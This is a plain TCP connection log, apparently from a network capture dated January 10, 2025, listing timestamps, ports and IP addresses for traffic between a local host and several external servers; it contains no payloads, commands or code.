Jan 10, 2025 19:04:54.572455883 CET	49740	443	192.168.2.16	104.18.94.41
Jan 10, 2025 19:04:54.615336895 CET	443	49741	104.18.94.41	192.168.2.16
Jan 10, 2025 19:04:54.620439053 CET	49741	443	192.168.2.16	104.18.94.41
Jan 10, 2025 19:04:54.672846079 CET	443	49740	104.18.94.41	192.168.2.16
Jan 10, 2025 19:04:54.672923088 CET	443	49740	104.18.94.41	192.168.2.16
Jan 10, 2025 19:04:54.673139095 CET	49740	443	192.168.2.16	104.18.94.41
Jan 10, 2025 19:04:54.677139044 CET	49740	443	192.168.2.16	104.18.94.41
Jan 10, 2025 19:04:54.677165031 CET	443	49740	104.18.94.41	192.168.2.16
Jan 10, 2025 19:04:54.722062111 CET	443	49741	104.18.94.41	192.168.2.16
Jan 10, 2025 19:04:54.722137928 CET	443	49741	104.18.94.41	192.168.2.16
Jan 10, 2025 19:04:54.722182035 CET	49741	443	192.168.2.16	104.18.94.41
Jan 10, 2025 19:04:54.722193003 CET	443	49741	104.18.94.41	192.168.2.16
Jan 10, 2025 19:04:54.722203970 CET	443	49741	104.18.94.41	192.168.2.16
Jan 10, 2025 19:04:54.722237110 CET	49741	443	192.168.2.16	104.18.94.41
Jan 10, 2025 19:04:54.722763062 CET	49741	443	192.168.2.16	104.18.94.41
Jan 10, 2025 19:04:54.722779036 CET	443	49741	104.18.94.41	192.168.2.16
Jan 10, 2025 19:04:54.941714048 CET	49742	443	192.168.2.16	104.18.94.41
Jan 10, 2025 19:04:54.941767931 CET	443	49742	104.18.94.41	192.168.2.16
Jan 10, 2025 19:04:54.941840887 CET	49742	443	192.168.2.16	104.18.94.41
Jan 10, 2025 19:04:54.942764044 CET	49742	443	192.168.2.16	104.18.94.41
Jan 10, 2025 19:04:54.942790031 CET	443	49742	104.18.94.41	192.168.2.16
Jan 10, 2025 19:04:55.426532984 CET	443	49742	104.18.94.41	192.168.2.16
Jan 10, 2025 19:04:55.426896095 CET	49742	443	192.168.2.16	104.18.94.41
Jan 10, 2025 19:04:55.426906109 CET	443	49742	104.18.94.41	192.168.2.16
Jan 10, 2025 19:04:55.427233934 CET	443	49742	104.18.94.41	192.168.2.16
Jan 10, 2025 19:04:55.427525997 CET	49742	443	192.168.2.16	104.18.94.41
Jan 10, 2025 19:04:55.427576065 CET	443	49742	104.18.94.41	192.168.2.16
Jan 10, 2025 19:04:55.427706003 CET	49742	443	192.168.2.16	104.18.94.41
Jan 10, 2025 19:04:55.427797079 CET	49742	443	192.168.2.16	104.18.94.41
Jan 10, 2025 19:04:55.427815914 CET	443	49742	104.18.94.41	192.168.2.16
Jan 10, 2025 19:04:55.428060055 CET	49742	443	192.168.2.16	104.18.94.41
Jan 10, 2025 19:04:55.428073883 CET	443	49742	104.18.94.41	192.168.2.16
Jan 10, 2025 19:04:55.685024023 CET	443	49742	104.18.94.41	192.168.2.16
Jan 10, 2025 19:04:55.685084105 CET	443	49742	104.18.94.41	192.168.2.16
Jan 10, 2025 19:04:55.685122013 CET	443	49742	104.18.94.41	192.168.2.16
Jan 10, 2025 19:04:55.685143948 CET	49742	443	192.168.2.16	104.18.94.41
Jan 10, 2025 19:04:55.685152054 CET	443	49742	104.18.94.41	192.168.2.16
Jan 10, 2025 19:04:55.685188055 CET	443	49742	104.18.94.41	192.168.2.16
Jan 10, 2025 19:04:55.685206890 CET	49742	443	192.168.2.16	104.18.94.41
Jan 10, 2025 19:04:55.685211897 CET	443	49742	104.18.94.41	192.168.2.16
Jan 10, 2025 19:04:55.685245991 CET	443	49742	104.18.94.41	192.168.2.16
Jan 10, 2025 19:04:55.685252905 CET	49742	443	192.168.2.16	104.18.94.41
Jan 10, 2025 19:04:55.685259104 CET	443	49742	104.18.94.41	192.168.2.16
Jan 10, 2025 19:04:55.685292959 CET	49742	443	192.168.2.16	104.18.94.41
Jan 10, 2025 19:04:55.685482025 CET	443	49742	104.18.94.41	192.168.2.16
Jan 10, 2025 19:04:55.689426899 CET	49680	80	192.168.2.16	192.229.211.108
Jan 10, 2025 19:04:55.689673901 CET	443	49742	104.18.94.41	192.168.2.16
Jan 10, 2025 19:04:55.689708948 CET	443	49742	104.18.94.41	192.168.2.16
Jan 10, 2025 19:04:55.689733028 CET	49742	443	192.168.2.16	104.18.94.41
Jan 10, 2025 19:04:55.689739943 CET	443	49742	104.18.94.41	192.168.2.16
Jan 10, 2025 19:04:55.689773083 CET	49742	443	192.168.2.16	104.18.94.41
Jan 10, 2025 19:04:55.777375937 CET	443	49742	104.18.94.41	192.168.2.16
Jan 10, 2025 19:04:55.777463913 CET	443	49742	104.18.94.41	192.168.2.16
Jan 10, 2025 19:04:55.777493000 CET	443	49742	104.18.94.41	192.168.2.16
Jan 10, 2025 19:04:55.777520895 CET	443	49742	104.18.94.41	192.168.2.16
Jan 10, 2025 19:04:55.777554035 CET	443	49742	104.18.94.41	192.168.2.16
Jan 10, 2025 19:04:55.777570963 CET	49742	443	192.168.2.16	104.18.94.41
Jan 10, 2025 19:04:55.777580976 CET	443	49742	104.18.94.41	192.168.2.16
Jan 10, 2025 19:04:55.777591944 CET	49742	443	192.168.2.16	104.18.94.41
Jan 10, 2025 19:04:55.777617931 CET	49742	443	192.168.2.16	104.18.94.41
Jan 10, 2025 19:04:55.777621984 CET	443	49742	104.18.94.41	192.168.2.16
Jan 10, 2025 19:04:55.778044939 CET	443	49742	104.18.94.41	192.168.2.16
Jan 10, 2025 19:04:55.778114080 CET	49742	443	192.168.2.16	104.18.94.41
Jan 10, 2025 19:04:55.778115988 CET	443	49742	104.18.94.41	192.168.2.16
Jan 10, 2025 19:04:55.778162003 CET	49742	443	192.168.2.16	104.18.94.41
Jan 10, 2025 19:04:55.778224945 CET	49742	443	192.168.2.16	104.18.94.41
Jan 10, 2025 19:04:55.778233051 CET	443	49742	104.18.94.41	192.168.2.16
Jan 10, 2025 19:04:55.781084061 CET	49743	443	192.168.2.16	104.18.94.41
Jan 10, 2025 19:04:55.781105042 CET	443	49743	104.18.94.41	192.168.2.16
Jan 10, 2025 19:04:55.781176090 CET	49743	443	192.168.2.16	104.18.94.41
Jan 10, 2025 19:04:55.781413078 CET	49743	443	192.168.2.16	104.18.94.41
Jan 10, 2025 19:04:55.781430006 CET	443	49743	104.18.94.41	192.168.2.16
Jan 10, 2025 19:04:56.025469065 CET	49678	443	192.168.2.16	20.189.173.10
Jan 10, 2025 19:04:56.231035948 CET	443	49743	104.18.94.41	192.168.2.16
Jan 10, 2025 19:04:56.231389999 CET	49743	443	192.168.2.16	104.18.94.41
Jan 10, 2025 19:04:56.231421947 CET	443	49743	104.18.94.41	192.168.2.16
Jan 10, 2025 19:04:56.231748104 CET	443	49743	104.18.94.41	192.168.2.16
Jan 10, 2025 19:04:56.232330084 CET	49743	443	192.168.2.16	104.18.94.41
Jan 10, 2025 19:04:56.232409954 CET	443	49743	104.18.94.41	192.168.2.16
Jan 10, 2025 19:04:56.232553005 CET	49743	443	192.168.2.16	104.18.94.41
Jan 10, 2025 19:04:56.275326014 CET	443	49743	104.18.94.41	192.168.2.16
Jan 10, 2025 19:04:56.380420923 CET	443	49743	104.18.94.41	192.168.2.16
Jan 10, 2025 19:04:56.380506992 CET	443	49743	104.18.94.41	192.168.2.16
Jan 10, 2025 19:04:56.381633043 CET	49743	443	192.168.2.16	104.18.94.41
Jan 10, 2025 19:04:56.381633043 CET	49743	443	192.168.2.16	104.18.94.41
Jan 10, 2025 19:04:56.692452908 CET	49743	443	192.168.2.16	104.18.94.41
Jan 10, 2025 19:04:56.692485094 CET	443	49743	104.18.94.41	192.168.2.16
Jan 10, 2025 19:04:57.457468033 CET	49673	443	192.168.2.16	204.79.197.203
Jan 10, 2025 19:05:00.496463060 CET	49680	80	192.168.2.16	192.229.211.108
Jan 10, 2025 19:05:02.097801924 CET	443	49733	142.250.186.68	192.168.2.16
Jan 10, 2025 19:05:02.097882986 CET	443	49733	142.250.186.68	192.168.2.16
Jan 10, 2025 19:05:02.097939968 CET	49733	443	192.168.2.16	142.250.186.68
Jan 10, 2025 19:05:02.450484037 CET	49733	443	192.168.2.16	142.250.186.68
Jan 10, 2025 19:05:02.450520039 CET	443	49733	142.250.186.68	192.168.2.16
Jan 10, 2025 19:05:02.451323032 CET	49744	443	192.168.2.16	104.18.94.41
Jan 10, 2025 19:05:02.451370955 CET	443	49744	104.18.94.41	192.168.2.16
Jan 10, 2025 19:05:02.451483011 CET	49744	443	192.168.2.16	104.18.94.41
Jan 10, 2025 19:05:02.451797009 CET	49744	443	192.168.2.16	104.18.94.41
Jan 10, 2025 19:05:02.451812029 CET	443	49744	104.18.94.41	192.168.2.16
Jan 10, 2025 19:05:02.911585093 CET	443	49744	104.18.94.41	192.168.2.16
Jan 10, 2025 19:05:02.911968946 CET	49744	443	192.168.2.16	104.18.94.41
Jan 10, 2025 19:05:02.911983967 CET	443	49744	104.18.94.41	192.168.2.16
Jan 10, 2025 19:05:02.912336111 CET	443	49744	104.18.94.41	192.168.2.16
Jan 10, 2025 19:05:02.912683964 CET	49744	443	192.168.2.16	104.18.94.41
Jan 10, 2025 19:05:02.912751913 CET	443	49744	104.18.94.41	192.168.2.16
Jan 10, 2025 19:05:02.912902117 CET	49744	443	192.168.2.16	104.18.94.41
Jan 10, 2025 19:05:02.912902117 CET	49744	443	192.168.2.16	104.18.94.41
Jan 10, 2025 19:05:02.912921906 CET	443	49744	104.18.94.41	192.168.2.16
Jan 10, 2025 19:05:02.912997961 CET	49744	443	192.168.2.16	104.18.94.41
Jan 10, 2025 19:05:02.913012981 CET	443	49744	104.18.94.41	192.168.2.16
Jan 10, 2025 19:05:03.191597939 CET	443	49744	104.18.94.41	192.168.2.16
Jan 10, 2025 19:05:03.191730976 CET	443	49744	104.18.94.41	192.168.2.16
Jan 10, 2025 19:05:03.191768885 CET	443	49744	104.18.94.41	192.168.2.16
Jan 10, 2025 19:05:03.191806078 CET	443	49744	104.18.94.41	192.168.2.16
Jan 10, 2025 19:05:03.191879034 CET	49744	443	192.168.2.16	104.18.94.41
Jan 10, 2025 19:05:03.191879034 CET	49744	443	192.168.2.16	104.18.94.41
Jan 10, 2025 19:05:03.191890955 CET	443	49744	104.18.94.41	192.168.2.16
Jan 10, 2025 19:05:03.192339897 CET	49744	443	192.168.2.16	104.18.94.41
Jan 10, 2025 19:05:03.192339897 CET	49744	443	192.168.2.16	104.18.94.41
Jan 10, 2025 19:05:03.195365906 CET	49745	443	192.168.2.16	104.18.94.41
Jan 10, 2025 19:05:03.195425987 CET	443	49745	104.18.94.41	192.168.2.16
Jan 10, 2025 19:05:03.195630074 CET	49745	443	192.168.2.16	104.18.94.41
Jan 10, 2025 19:05:03.195971012 CET	49745	443	192.168.2.16	104.18.94.41
Jan 10, 2025 19:05:03.195985079 CET	443	49745	104.18.94.41	192.168.2.16
Jan 10, 2025 19:05:03.354238033 CET	49746	443	192.168.2.16	172.67.155.45
Jan 10, 2025 19:05:03.354289055 CET	443	49746	172.67.155.45	192.168.2.16
Jan 10, 2025 19:05:03.354362965 CET	49746	443	192.168.2.16	172.67.155.45
Jan 10, 2025 19:05:03.354671955 CET	49746	443	192.168.2.16	172.67.155.45
Jan 10, 2025 19:05:03.354682922 CET	443	49746	172.67.155.45	192.168.2.16
Jan 10, 2025 19:05:03.506464958 CET	49744	443	192.168.2.16	104.18.94.41
Jan 10, 2025 19:05:03.506514072 CET	443	49744	104.18.94.41	192.168.2.16
Jan 10, 2025 19:05:03.649722099 CET	443	49745	104.18.94.41	192.168.2.16
Jan 10, 2025 19:05:03.651590109 CET	49745	443	192.168.2.16	104.18.94.41
Jan 10, 2025 19:05:03.651626110 CET	443	49745	104.18.94.41	192.168.2.16
Jan 10, 2025 19:05:03.652008057 CET	443	49745	104.18.94.41	192.168.2.16
Jan 10, 2025 19:05:03.652391911 CET	49745	443	192.168.2.16	104.18.94.41
Jan 10, 2025 19:05:03.652477980 CET	443	49745	104.18.94.41	192.168.2.16
Jan 10, 2025 19:05:03.652585983 CET	49745	443	192.168.2.16	104.18.94.41
Jan 10, 2025 19:05:03.698498011 CET	49745	443	192.168.2.16	104.18.94.41
Jan 10, 2025 19:05:03.698528051 CET	443	49745	104.18.94.41	192.168.2.16
Jan 10, 2025 19:05:03.792150021 CET	443	49745	104.18.94.41	192.168.2.16
Jan 10, 2025 19:05:03.792224884 CET	443	49745	104.18.94.41	192.168.2.16
Jan 10, 2025 19:05:03.792285919 CET	49745	443	192.168.2.16	104.18.94.41
Jan 10, 2025 19:05:03.793051004 CET	49745	443	192.168.2.16	104.18.94.41
Jan 10, 2025 19:05:03.793072939 CET	443	49745	104.18.94.41	192.168.2.16
Jan 10, 2025 19:05:03.817822933 CET	443	49746	172.67.155.45	192.168.2.16
Jan 10, 2025 19:05:03.818095922 CET	49746	443	192.168.2.16	172.67.155.45
Jan 10, 2025 19:05:03.818120003 CET	443	49746	172.67.155.45	192.168.2.16
Jan 10, 2025 19:05:03.819164991 CET	443	49746	172.67.155.45	192.168.2.16
Jan 10, 2025 19:05:03.819228888 CET	49746	443	192.168.2.16	172.67.155.45
Jan 10, 2025 19:05:03.819562912 CET	49746	443	192.168.2.16	172.67.155.45
Jan 10, 2025 19:05:03.819576979 CET	49746	443	192.168.2.16	172.67.155.45
Jan 10, 2025 19:05:03.819613934 CET	443	49746	172.67.155.45	192.168.2.16
Jan 10, 2025 19:05:03.819632053 CET	49746	443	192.168.2.16	172.67.155.45
Jan 10, 2025 19:05:03.819782019 CET	443	49746	172.67.155.45	192.168.2.16
Jan 10, 2025 19:05:03.819809914 CET	49746	443	192.168.2.16	172.67.155.45
Jan 10, 2025 19:05:03.819828987 CET	49746	443	192.168.2.16	172.67.155.45
Jan 10, 2025 19:05:03.820034981 CET	49747	443	192.168.2.16	172.67.155.45
Jan 10, 2025 19:05:03.820059061 CET	443	49747	172.67.155.45	192.168.2.16
Jan 10, 2025 19:05:03.820122004 CET	49747	443	192.168.2.16	172.67.155.45
Jan 10, 2025 19:05:03.820478916 CET	49747	443	192.168.2.16	172.67.155.45
Jan 10, 2025 19:05:03.820487022 CET	443	49747	172.67.155.45	192.168.2.16
Jan 10, 2025 19:05:04.297084093 CET	443	49747	172.67.155.45	192.168.2.16
Jan 10, 2025 19:05:04.297432899 CET	49747	443	192.168.2.16	172.67.155.45
Jan 10, 2025 19:05:04.297451973 CET	443	49747	172.67.155.45	192.168.2.16
Jan 10, 2025 19:05:04.298472881 CET	443	49747	172.67.155.45	192.168.2.16
Jan 10, 2025 19:05:04.298549891 CET	49747	443	192.168.2.16	172.67.155.45
Jan 10, 2025 19:05:04.312510967 CET	49747	443	192.168.2.16	172.67.155.45
Jan 10, 2025 19:05:04.312690020 CET	443	49747	172.67.155.45	192.168.2.16
Jan 10, 2025 19:05:04.312796116 CET	49747	443	192.168.2.16	172.67.155.45
Jan 10, 2025 19:05:04.312828064 CET	443	49747	172.67.155.45	192.168.2.16
Jan 10, 2025 19:05:04.368606091 CET	49747	443	192.168.2.16	172.67.155.45
Jan 10, 2025 19:05:04.896126986 CET	443	49747	172.67.155.45	192.168.2.16
Jan 10, 2025 19:05:04.896236897 CET	443	49747	172.67.155.45	192.168.2.16
Jan 10, 2025 19:05:04.896301031 CET	49747	443	192.168.2.16	172.67.155.45
Jan 10, 2025 19:05:04.897583961 CET	49747	443	192.168.2.16	172.67.155.45
Jan 10, 2025 19:05:04.897597075 CET	443	49747	172.67.155.45	192.168.2.16
Jan 10, 2025 19:05:05.156470060 CET	49750	443	192.168.2.16	172.67.155.45
Jan 10, 2025 19:05:05.156516075 CET	443	49750	172.67.155.45	192.168.2.16
Jan 10, 2025 19:05:05.156588078 CET	49750	443	192.168.2.16	172.67.155.45
Jan 10, 2025 19:05:05.156899929 CET	49750	443	192.168.2.16	172.67.155.45
Jan 10, 2025 19:05:05.156910896 CET	443	49750	172.67.155.45	192.168.2.16
Jan 10, 2025 19:05:05.625726938 CET	443	49750	172.67.155.45	192.168.2.16
Jan 10, 2025 19:05:05.626140118 CET	49750	443	192.168.2.16	172.67.155.45
Jan 10, 2025 19:05:05.626162052 CET	443	49750	172.67.155.45	192.168.2.16
Jan 10, 2025 19:05:05.627213955 CET	443	49750	172.67.155.45	192.168.2.16
Jan 10, 2025 19:05:05.627305031 CET	49750	443	192.168.2.16	172.67.155.45
Jan 10, 2025 19:05:05.627720118 CET	49750	443	192.168.2.16	172.67.155.45
Jan 10, 2025 19:05:05.627737999 CET	49750	443	192.168.2.16	172.67.155.45
Jan 10, 2025 19:05:05.627775908 CET	443	49750	172.67.155.45	192.168.2.16
Jan 10, 2025 19:05:05.627798080 CET	49750	443	192.168.2.16	172.67.155.45
Jan 10, 2025 19:05:05.627830029 CET	49750	443	192.168.2.16	172.67.155.45
Jan 10, 2025 19:05:05.628103018 CET	49751	443	192.168.2.16	172.67.155.45
Jan 10, 2025 19:05:05.628129959 CET	443	49751	172.67.155.45	192.168.2.16
Jan 10, 2025 19:05:05.628196955 CET	49751	443	192.168.2.16	172.67.155.45
Jan 10, 2025 19:05:05.628410101 CET	49751	443	192.168.2.16	172.67.155.45
Jan 10, 2025 19:05:05.628420115 CET	443	49751	172.67.155.45	192.168.2.16
Jan 10, 2025 19:05:05.629467964 CET	49678	443	192.168.2.16	20.189.173.10
Jan 10, 2025 19:05:06.099528074 CET	443	49751	172.67.155.45	192.168.2.16
Jan 10, 2025 19:05:06.099864006 CET	49751	443	192.168.2.16	172.67.155.45
Jan 10, 2025 19:05:06.099881887 CET	443	49751	172.67.155.45	192.168.2.16
Jan 10, 2025 19:05:06.100888968 CET	443	49751	172.67.155.45	192.168.2.16
Jan 10, 2025 19:05:06.100961924 CET	49751	443	192.168.2.16	172.67.155.45
Jan 10, 2025 19:05:06.101239920 CET	49751	443	192.168.2.16	172.67.155.45
Jan 10, 2025 19:05:06.101304054 CET	443	49751	172.67.155.45	192.168.2.16
Jan 10, 2025 19:05:06.101387024 CET	49751	443	192.168.2.16	172.67.155.45
Jan 10, 2025 19:05:06.101397991 CET	443	49751	172.67.155.45	192.168.2.16
Jan 10, 2025 19:05:06.141444921 CET	49751	443	192.168.2.16	172.67.155.45
Jan 10, 2025 19:05:06.689428091 CET	443	49751	172.67.155.45	192.168.2.16
Jan 10, 2025 19:05:06.689548969 CET	443	49751	172.67.155.45	192.168.2.16
Jan 10, 2025 19:05:06.689709902 CET	49751	443	192.168.2.16	172.67.155.45
Jan 10, 2025 19:05:06.690974951 CET	49751	443	192.168.2.16	172.67.155.45
Jan 10, 2025 19:05:06.690992117 CET	443	49751	172.67.155.45	192.168.2.16
Jan 10, 2025 19:05:10.100528002 CET	49680	80	192.168.2.16	192.229.211.108
Jan 10, 2025 19:05:27.870753050 CET	49697	80	192.168.2.16	2.22.50.144
Jan 10, 2025 19:05:27.870865107 CET	49698	80	192.168.2.16	2.22.50.144
Jan 10, 2025 19:05:27.875746965 CET	80	49697	2.22.50.144	192.168.2.16
Jan 10, 2025 19:05:27.875838995 CET	49697	80	192.168.2.16	2.22.50.144
Jan 10, 2025 19:05:27.876184940 CET	80	49698	2.22.50.144	192.168.2.16
Jan 10, 2025 19:05:27.876235008 CET	49698	80	192.168.2.16	2.22.50.144
Jan 10, 2025 19:05:51.598891973 CET	49792	443	192.168.2.16	142.250.186.68
Jan 10, 2025 19:05:51.598929882 CET	443	49792	142.250.186.68	192.168.2.16
Jan 10, 2025 19:05:51.599046946 CET	49792	443	192.168.2.16	142.250.186.68
Jan 10, 2025 19:05:51.599286079 CET	49792	443	192.168.2.16	142.250.186.68
Jan 10, 2025 19:05:51.599297047 CET	443	49792	142.250.186.68	192.168.2.16
Jan 10, 2025 19:05:52.276829004 CET	443	49792	142.250.186.68	192.168.2.16
Jan 10, 2025 19:05:52.277237892 CET	49792	443	192.168.2.16	142.250.186.68
Jan 10, 2025 19:05:52.277257919 CET	443	49792	142.250.186.68	192.168.2.16
Jan 10, 2025 19:05:52.277594090 CET	443	49792	142.250.186.68	192.168.2.16
Jan 10, 2025 19:05:52.277990103 CET	49792	443	192.168.2.16	142.250.186.68
Jan 10, 2025 19:05:52.278049946 CET	443	49792	142.250.186.68	192.168.2.16
Jan 10, 2025 19:05:52.332601070 CET	49792	443	192.168.2.16	142.250.186.68
Jan 10, 2025 19:06:02.182148933 CET	443	49792	142.250.186.68	192.168.2.16
Jan 10, 2025 19:06:02.182244062 CET	443	49792	142.250.186.68	192.168.2.16
Jan 10, 2025 19:06:02.182302952 CET	49792	443	192.168.2.16	142.250.186.68
Jan 10, 2025 19:06:03.087817907 CET	49792	443	192.168.2.16	142.250.186.68
Jan 10, 2025 19:06:03.087860107 CET	443	49792	142.250.186.68	192.168.2.16
Jan 10, 2025 19:06:08.920458078 CET	49801	443	192.168.2.16	170.148.209.228
Jan 10, 2025 19:06:08.920547962 CET	443	49801	170.148.209.228	192.168.2.16
Jan 10, 2025 19:06:08.920686007 CET	49801	443	192.168.2.16	170.148.209.228
Jan 10, 2025 19:06:08.920907021 CET	49802	443	192.168.2.16	170.148.209.228
Jan 10, 2025 19:06:08.920968056 CET	443	49802	170.148.209.228	192.168.2.16
Jan 10, 2025 19:06:08.921049118 CET	49802	443	192.168.2.16	170.148.209.228
Jan 10, 2025 19:06:08.921116114 CET	49801	443	192.168.2.16	170.148.209.228
Jan 10, 2025 19:06:08.921143055 CET	443	49801	170.148.209.228	192.168.2.16
Jan 10, 2025 19:06:08.921250105 CET	49802	443	192.168.2.16	170.148.209.228
Jan 10, 2025 19:06:08.921268940 CET	443	49802	170.148.209.228	192.168.2.16
Jan 10, 2025 19:06:09.870491982 CET	443	49802	170.148.209.228	192.168.2.16
Jan 10, 2025 19:06:09.871026039 CET	49802	443	192.168.2.16	170.148.209.228
Jan 10, 2025 19:06:09.871047974 CET	443	49802	170.148.209.228	192.168.2.16
Jan 10, 2025 19:06:09.873780966 CET	443	49802	170.148.209.228	192.168.2.16
Jan 10, 2025 19:06:09.873872042 CET	49802	443	192.168.2.16	170.148.209.228
Jan 10, 2025 19:06:09.874984980 CET	49802	443	192.168.2.16	170.148.209.228
Jan 10, 2025 19:06:09.875195980 CET	49802	443	192.168.2.16	170.148.209.228
Jan 10, 2025 19:06:09.875196934 CET	443	49802	170.148.209.228	192.168.2.16
Jan 10, 2025 19:06:09.875422955 CET	443	49802	170.148.209.228	192.168.2.16
Jan 10, 2025 19:06:09.878079891 CET	443	49801	170.148.209.228	192.168.2.16
Jan 10, 2025 19:06:09.878427029 CET	49801	443	192.168.2.16	170.148.209.228
Jan 10, 2025 19:06:09.878496885 CET	443	49801	170.148.209.228	192.168.2.16
Jan 10, 2025 19:06:09.879654884 CET	443	49801	170.148.209.228	192.168.2.16
Jan 10, 2025 19:06:09.879750967 CET	49801	443	192.168.2.16	170.148.209.228
Jan 10, 2025 19:06:09.880028009 CET	49801	443	192.168.2.16	170.148.209.228
Jan 10, 2025 19:06:09.880110025 CET	443	49801	170.148.209.228	192.168.2.16
Jan 10, 2025 19:06:09.917665005 CET	49802	443	192.168.2.16	170.148.209.228
Jan 10, 2025 19:06:09.917678118 CET	443	49802	170.148.209.228	192.168.2.16
Jan 10, 2025 19:06:09.933681965 CET	49801	443	192.168.2.16	170.148.209.228
Jan 10, 2025 19:06:09.933723927 CET	443	49801	170.148.209.228	192.168.2.16
Jan 10, 2025 19:06:09.965758085 CET	49802	443	192.168.2.16	170.148.209.228
Jan 10, 2025 19:06:09.981689930 CET	49801	443	192.168.2.16	170.148.209.228
Jan 10, 2025 19:06:10.156228065 CET	443	49802	170.148.209.228	192.168.2.16
Jan 10, 2025 19:06:10.156294107 CET	443	49802	170.148.209.228	192.168.2.16
Jan 10, 2025 19:06:10.156476974 CET	49802	443	192.168.2.16	170.148.209.228
Jan 10, 2025 19:06:10.156553030 CET	443	49802	170.148.209.228	192.168.2.16
Jan 10, 2025 19:06:10.156645060 CET	49802	443	192.168.2.16	170.148.209.228
Jan 10, 2025 19:06:10.230417967 CET	443	49802	170.148.209.228	192.168.2.16
Jan 10, 2025 19:06:10.230434895 CET	443	49802	170.148.209.228	192.168.2.16
Jan 10, 2025 19:06:10.230564117 CET	49802	443	192.168.2.16	170.148.209.228
Jan 10, 2025 19:06:10.230592966 CET	443	49802	170.148.209.228	192.168.2.16
Jan 10, 2025 19:06:10.230648994 CET	49802	443	192.168.2.16	170.148.209.228
Jan 10, 2025 19:06:10.230777025 CET	443	49802	170.148.209.228	192.168.2.16
Jan 10, 2025 19:06:10.230827093 CET	49802	443	192.168.2.16	170.148.209.228
Jan 10, 2025 19:06:10.232809067 CET	49801	443	192.168.2.16	170.148.209.228
Jan 10, 2025 19:06:10.232928991 CET	443	49801	170.148.209.228	192.168.2.16
Jan 10, 2025 19:06:10.303540945 CET	443	49802	170.148.209.228	192.168.2.16
Jan 10, 2025 19:06:10.303561926 CET	443	49802	170.148.209.228	192.168.2.16
Jan 10, 2025 19:06:10.303622007 CET	443	49802	170.148.209.228	192.168.2.16
Jan 10, 2025 19:06:10.303657055 CET	443	49802	170.148.209.228	192.168.2.16
Jan 10, 2025 19:06:10.303678989 CET	49802	443	192.168.2.16	170.148.209.228
Jan 10, 2025 19:06:10.303718090 CET	443	49802	170.148.209.228	192.168.2.16
Jan 10, 2025 19:06:10.303735971 CET	49802	443	192.168.2.16	170.148.209.228
Jan 10, 2025 19:06:10.303772926 CET	49802	443	192.168.2.16	170.148.209.228
Jan 10, 2025 19:06:10.303873062 CET	443	49802	170.148.209.228	192.168.2.16
Jan 10, 2025 19:06:10.303915024 CET	49802	443	192.168.2.16	170.148.209.228
Jan 10, 2025 19:06:10.316417933 CET	443	49802	170.148.209.228	192.168.2.16
Jan 10, 2025 19:06:10.316514969 CET	49802	443	192.168.2.16	170.148.209.228
Jan 10, 2025 19:06:10.376207113 CET	443	49802	170.148.209.228	192.168.2.16
Jan 10, 2025 19:06:10.376388073 CET	49802	443	192.168.2.16	170.148.209.228
Jan 10, 2025 19:06:10.376409054 CET	443	49802	170.148.209.228	192.168.2.16
Jan 10, 2025 19:06:10.376466990 CET	49802	443	192.168.2.16	170.148.209.228
Jan 10, 2025 19:06:10.376502991 CET	443	49802	170.148.209.228	192.168.2.16
Jan 10, 2025 19:06:10.376579046 CET	49802	443	192.168.2.16	170.148.209.228
Jan 10, 2025 19:06:10.376629114 CET	49802	443	192.168.2.16	170.148.209.228
Jan 10, 2025 19:06:10.528517962 CET	443	49801	170.148.209.228	192.168.2.16
Jan 10, 2025 19:06:10.528551102 CET	443	49801	170.148.209.228	192.168.2.16
Jan 10, 2025 19:06:10.528568983 CET	443	49801	170.148.209.228	192.168.2.16
Jan 10, 2025 19:06:10.528676033 CET	49801	443	192.168.2.16	170.148.209.228
Jan 10, 2025 19:06:10.528711081 CET	443	49801	170.148.209.228	192.168.2.16
Jan 10, 2025 19:06:10.570715904 CET	49801	443	192.168.2.16	170.148.209.228
Jan 10, 2025 19:06:10.601159096 CET	443	49801	170.148.209.228	192.168.2.16
Jan 10, 2025 19:06:10.601180077 CET	443	49801	170.148.209.228	192.168.2.16
Jan 10, 2025 19:06:10.601200104 CET	443	49801	170.148.209.228	192.168.2.16
Jan 10, 2025 19:06:10.601246119 CET	443	49801	170.148.209.228	192.168.2.16
Jan 10, 2025 19:06:10.601320982 CET	49801	443	192.168.2.16	170.148.209.228
Jan 10, 2025 19:06:10.601367950 CET	49801	443	192.168.2.16	170.148.209.228
Jan 10, 2025 19:06:10.673805952 CET	443	49801	170.148.209.228	192.168.2.16
Jan 10, 2025 19:06:10.673825979 CET	443	49801	170.148.209.228	192.168.2.16
Jan 10, 2025 19:06:10.673862934 CET	443	49801	170.148.209.228	192.168.2.16
Jan 10, 2025 19:06:10.673918962 CET	49801	443	192.168.2.16	170.148.209.228
Jan 10, 2025 19:06:10.673971891 CET	49801	443	192.168.2.16	170.148.209.228
Jan 10, 2025 19:06:10.674242973 CET	443	49801	170.148.209.228	192.168.2.16
Jan 10, 2025 19:06:10.674252987 CET	443	49801	170.148.209.228	192.168.2.16
Jan 10, 2025 19:06:10.674300909 CET	49801	443	192.168.2.16	170.148.209.228
Jan 10, 2025 19:06:10.746589899 CET	443	49801	170.148.209.228	192.168.2.16
Jan 10, 2025 19:06:10.746604919 CET	443	49801	170.148.209.228	192.168.2.16
Jan 10, 2025 19:06:10.746817112 CET	49801	443	192.168.2.16	170.148.209.228
Jan 10, 2025 19:06:10.746890068 CET	443	49801	170.148.209.228	192.168.2.16
Jan 10, 2025 19:06:10.746900082 CET	443	49801	170.148.209.228	192.168.2.16
Jan 10, 2025 19:06:10.746979952 CET	49801	443	192.168.2.16	170.148.209.228
Jan 10, 2025 19:06:10.819184065 CET	443	49801	170.148.209.228	192.168.2.16
Jan 10, 2025 19:06:10.819200993 CET	443	49801	170.148.209.228	192.168.2.16
Jan 10, 2025 19:06:10.819428921 CET	49801	443	192.168.2.16	170.148.209.228
Jan 10, 2025 19:06:10.819837093 CET	443	49801	170.148.209.228	192.168.2.16
Jan 10, 2025 19:06:10.819917917 CET	49801	443	192.168.2.16	170.148.209.228
Jan 10, 2025 19:06:10.820626020 CET	443	49801	170.148.209.228	192.168.2.16
Jan 10, 2025 19:06:10.820702076 CET	49801	443	192.168.2.16	170.148.209.228
Jan 10, 2025 19:06:10.891904116 CET	443	49801	170.148.209.228	192.168.2.16
Jan 10, 2025 19:06:10.891994953 CET	443	49801	170.148.209.228	192.168.2.16
Jan 10, 2025 19:06:10.892075062 CET	49801	443	192.168.2.16	170.148.209.228
Jan 10, 2025 19:06:10.892154932 CET	443	49801	170.148.209.228	192.168.2.16
Jan 10, 2025 19:06:10.892198086 CET	49801	443	192.168.2.16	170.148.209.228
